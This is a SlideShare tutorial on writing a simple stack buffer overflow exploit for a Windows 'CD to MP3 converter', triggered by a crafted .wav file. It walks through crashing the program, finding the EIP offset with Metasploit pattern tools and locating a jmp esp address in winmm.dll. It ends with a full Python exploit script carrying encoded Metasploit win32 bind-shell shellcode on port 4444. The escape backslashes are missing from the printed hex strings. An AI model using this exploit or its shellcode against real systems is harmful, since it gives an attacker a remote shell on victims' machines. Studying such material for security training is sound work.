Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Writing simple buffer_overflow_exploits


Published on

A Practical Tutorial to get you going with buffer overflow exploits.

Published in: Business
  • Be the first to comment

  • Be the first to like this

Writing simple buffer_overflow_exploits

  1. 1. Simple Buffer Overflow Exploits[+]By D4rk357 [][+]Special thanks to Peter Van Eckhoutte for his awesome Exploit writing series .[+]Special thanks to Fb1h2s] for helping me out all the way.[+] [My Home in The Blue Nowhere]Before Starting a practical demonstration of writing basic buffer overflow exploits we will first take alook at concepts and theory first as Abraham Lincoln said “If I had 6 hours to chop a tree I would spend 4hours sharpening my Axe”.Broadly speaking Buffer Overflow or Buffer overrun is a condition when program tries to write moredata then the buffer it has been allocated. Commonly applications developed in Native languages ( c ,c++) demonstrate this kind of vulnerability as there is no inbuilt protection against this kind of attack .EIP or instruction pointer register is most important register from exploitation point of View. Theinstruction pointer register (EIP) contains the offset address, relative to the start of the current codesegment, of the next sequential instruction to be executed so if we can somehow control this registerwe can make it point to our shellcode and successfully execute the exploit .Now too much of boring Grandpa Talks !! Let’s get the ball rolling !!In this tutorial i will start from scratch and build a working exploit.A public exploit for this is already available here step is downloading and installing the vulnerable application from here Immunity Debugger or ollydbg or windbg anyone of it would do :) .Now we will write a simple python code which will generate a .wav file and test the application against ithandle=open("crash.wav","a")Crap="x41"*30000handle.write(Crap)Save the above code as and execute it .This little code upon execution will generate a file withthe name of crash.wavOpen the debugger of your choice in my case immunity debugger . Open the Executable of CD to MP3converter and then click on execute.
  2. 2. open your Crash.wav file in CD to MP3 converter in option wav to wav converter and BOOM theapplication Dies instantly . NOw check your Debugger for what exactly happened .
  3. 3. Woot Eip has been overwritten . This means that if we somehow put our shellcode in any one ofthe registers and make the EIP point to it then we can have a working exploit for this application :D .Now The next step is to determine the Exact position at which EIP is overwritten . For that We will use acouple of tools which comes with metasploit .On windows Platform Open Cygwin and then browse to tools directory of metasploit. Once inside itexecute pattern_create.rb script which generates unique characters of whichever size you want .By reducing the size of crap again and again in my script and getting a crash i figured it out a string of5000 unique characters will be more than enough.Syntax:./pattern_create.rb 5000
  4. 4. the pattern is created copy it and put it in place of Crap .Now Execute the application from debugger again and put in the newly generated Crash.wav(Deleteprevious Crash.wav file before doing it as i am opening the file in append mode).Check the Debugger again and you can see some numbers in the EIP which in my case is 31684630Now in Cygwin Shell we will run pattern_offset to check where exactly EIP is being overwritten .Syntax:./pattern_offset.rb 31684630 5000
  5. 5. the location it gives me is 4112 great.So Just to Cross Check that the position of EIP given by the tool is correct we will write a small script .handle=open("crash.wav","a")Crap="x41"*4112Eip="x42"*4handle.write(CrapAgain open the program through immunity debugger Execute itAfter the application crashes check the Eip and you find there 42424242 which means the address foundby the tool is perfect .
  6. 6. we have to find the location of a command in dll file which calls/goes to esp like jmp esp etc.Now we will load the the application again in debugger and search jmp esp command in every dll that isbeing loaded .( In immunity debugger we can take a look at executablemodule screen and double click on each dll that is being loaded and then search for the specificcommand in that address space.After some tinkering out I found that the dll winmm.dll has a jmp esp command at 76B43ADC .Great now we have almost everything we need to make a workable exploit .
  7. 7. address 76 B4 3A DC will be mentioned as xDC x3A xB4 x76 since we are passing it as a string toEIP .We will use win32 bind shell provided by metasploit encoded in alpha2 encoderWe will add some NOPS ( no operation bytes) before starting our shellcode because generally somebytes at the starting are not interpreted by processor as commandso it could cause our exploit to fail . Adding Nops would increase the reliability of exploit .And we get a telnet connection m/[P.S] You will have to write your own exploit(modify EIP) as the addresses might differ .Dont Try Post Mortem degubbing .. Debugger is not catching it ( Atleast in my computer)P.S heres the source Codehandle=open("final.wav","a")Crap="x41"*4112Eip="xDCx3AxB4x76"# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.comShellCode=("xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49""x49x49x49x37x49x49x49x49x49x49x49x49x51x5ax6ax43""x58x30x41x31x50x41x42x6bx41x41x53x32x41x42x41x32""x42x41x30x42x41x58x50x38x41x42x75x4ax49x79x6cx62""x4ax48x6bx70x4dx38x68x6cx39x4bx4fx79x6fx6bx4fx73""x50x4cx4bx72x4cx46x44x57x54x4ex6bx31x55x67x4cx4e""x6bx63x4cx34x45x62x58x46x61x48x6fx4ex6bx50x4fx44""x58x6cx4bx51x4fx45x70x44x41x6ax4bx70x49x6ex6bx35"
  8. 8."x64x4cx4bx53x31x78x6ex75x61x6bx70x4fx69x6ex4cx4b""x34x4fx30x53x44x57x77x6fx31x4bx7ax74x4dx75x51x69""x52x68x6bx48x74x57x4bx70x54x64x64x47x58x50x75x6d""x35x4cx4bx31x4fx36x44x56x61x78x6bx63x56x6cx4bx54""x4cx70x4bx4ex6bx53x6fx75x4cx47x71x5ax4bx63x33x54""x6cx4ex6bx6bx39x30x6cx44x64x35x4cx71x71x5ax63x34""x71x6bx6bx72x44x6cx4bx37x33x76x50x4ex6bx71x50x56""x6cx6cx4bx44x30x65x4cx4cx6dx4cx4bx77x30x35x58x61""x4ex62x48x6cx4ex62x6ex44x4ex38x6cx50x50x4bx4fx5a""x76x45x36x70x53x41x76x32x48x70x33x56x52x45x38x42""x57x72x53x34x72x63x6fx72x74x6bx4fx78x50x72x48x38""x4bx58x6dx6bx4cx65x6bx42x70x49x6fx69x46x71x4fx6c""x49x6ax45x65x36x4fx71x4ax4dx35x58x53x32x50x55x32""x4ax35x52x49x6fx48x50x31x78x7ax79x36x69x4cx35x6c""x6dx70x57x39x6fx6ex36x70x53x32x73x62x73x56x33x52""x73x73x73x52x73x33x73x30x53x6bx4fx4ax70x35x36x75""x38x52x31x41x4cx61x76x50x53x4dx59x4dx31x4dx45x55""x38x69x34x56x7ax42x50x5ax67x36x37x79x6fx7ax76x61""x7ax76x70x66x31x73x65x39x6fx68x50x41x78x4dx74x4e""x4dx76x4ex68x69x42x77x79x6fx59x46x36x33x66x35x69""x6fx6ex30x45x38x4bx55x51x59x6fx76x72x69x42x77x6b""x4fx4ax76x70x50x46x34x36x34x53x65x79x6fx6ex30x6c""x53x65x38x4bx57x70x79x5ax66x52x59x30x57x69x6fx6a""x76x30x55x59x6fx6ex30x70x66x70x6ax53x54x72x46x62""x48x65x33x50x6dx6cx49x4dx35x31x7ax52x70x70x59x44""x69x7ax6cx4cx49x69x77x51x7ax71x54x4fx79x4bx52x34""x71x39x50x4cx33x4dx7ax6bx4ex71x52x44x6dx6bx4ex37""x32x54x6cx4ex73x4ex6dx33x4ax56x58x6cx6bx6cx6bx6e""x4bx53x58x64x32x69x6ex6cx73x44x56x6bx4fx73x45x47""x34x4bx4fx79x46x33x6bx42x77x73x62x30x51x73x61x72""x71x62x4ax33x31x42x71x50x51x72x75x50x51x49x6fx78""x50x71x78x4ex4dx39x49x75x55x6ax6ex70x53x4bx4fx59""x46x32x4ax4bx4fx49x6fx56x57x69x6fx5ax70x4ex6bx33""x67x49x6cx6dx53x39x54x55x34x39x6fx4bx66x31x42x69""x6fx4ax70x62x48x78x70x4dx5ax35x54x63x6fx70x53x39""x6fx4ex36x39x6fx38x50x43")nops="x90"*50handle.write(Crap+Eip+nops+ShellCode)